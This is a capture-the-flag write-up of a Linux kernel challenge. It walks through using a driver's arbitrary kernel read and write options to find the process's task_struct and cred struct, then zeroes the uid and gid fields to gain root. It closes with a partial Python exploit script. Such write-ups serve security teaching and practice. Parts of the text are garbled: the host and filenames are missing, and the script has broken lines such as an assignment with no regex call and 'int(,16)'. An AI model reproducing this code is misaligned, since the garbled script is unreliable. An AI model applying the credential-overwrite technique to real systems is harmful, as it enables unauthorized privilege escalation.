Baby Kernel 2

Last year you may have taken your first steps in kernel exploitation. It was not that hard, after all.
This year we will take the second baby step. 🙂

nc 1337

Playing around

On each connection to the server, we see a kernel boot sequence printout ( we found the kernel version in it).

The output of the kernel bootup, makes it clear that a proprietary driver was installed in the kernel.

Following the boot sequence we get prompted with the following menu:

----- Menu -----

1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!

Let’s have a look to what we have for the menu 🙂

Trying to get a hint from 5 option : `…The flag file is not readable by your current user

You will need to become root to solve the challenge…`

Trying 4 option to read /flag is obviously not working : Could not open file for reading...

Option 3 returns our uid and gid :

uid=1000(user) gid=1000(user) groups=1000(user)

As for options 1 (Read) and 2 (Write), they seem to be where things are getting serious. We will get back to them later.

Looks like we will need to read the kernel to find our uid and write a new uid, root uid

Examining the files

The kernel driver installed was found. is provided!

the file is a symbol table used by the kernel.

let’s start,

What do read and write do?

in we found linux_banner which points to the Linux version string.

'ffffffff81600120 R linux_banner'

We tried to read this address and we got the Linux version string –> Absolute kernel read primitive

We tried to write to this address and re-read it, write works –> Absolute kernel write primitive


We want to change our user id from the current value 1000 to 0 (root), using our read and write primitives.

The uid and gid are stored in the cred struct in the task_struct struct

in we found current_task which points to the task_struct struct
'ffffffff8183a040 D current_task'

Now, we want to find the pointer to the cred struct in the task_struct struct

it is just before the comm field.

from /include/linux/sched.h

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu        *cred;

 * executable name, excluding path.
 * - normally initialized setup_new_exec()
 * - access it with [gs]et_task_comm()
 * - lock it with task_lock()
char                comm[TASK_COMM_LEN]; 

The comm field is plain text contain our program name, with the read function we read the task_struct and found it at offset 0x408 contain: “client_kernel_b”

Next, we override the uid and gid in the cred struct, we actually have several ids in cred struct in cred.h we override them all (uid, gid, suid, sgid, euid, egid, fsuid, fsgid) with 0 (root id)

from /include/linux/cred.h

struct cred {
    atomic_t    usage;
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */

afterwards we just read the flag from /flag

the flag was : flag{nicely_done_this_is_how_a_privesc_can_also_go}

Our solution:

#!/usr/bin/env python3

import pexpect
import re
import struct

p = pexpect.spawn('nc 1337')

def read_value(addr):
    p.expect ('wisely')
    p.sendline('%x' % addr)
    data = str(p.before)

    m ='level is: ([0-9a-f]+)', data)
    if m:
        return int(,16)

    print("_-----ERROR ----\n");
    return None

def write_value(addr, value):
    p.expect('write to')
    p.sendline('%x' % addr)
    p.sendline('%x' % value)

def read_file():
    print (p.before)
    print (p.before)

task_struct = read_value(0xffffffff8183a040)
cred = read_value(task_struct + 0x400)

#f = open("task_struct","wb")
#for i in range(0x0, 0x450, 8):
#    value = read_value(task_struct + i)
#    print ("%x, %x" % (i, value))
#    b = struct.pack("<Q", value)
#    f.write(b)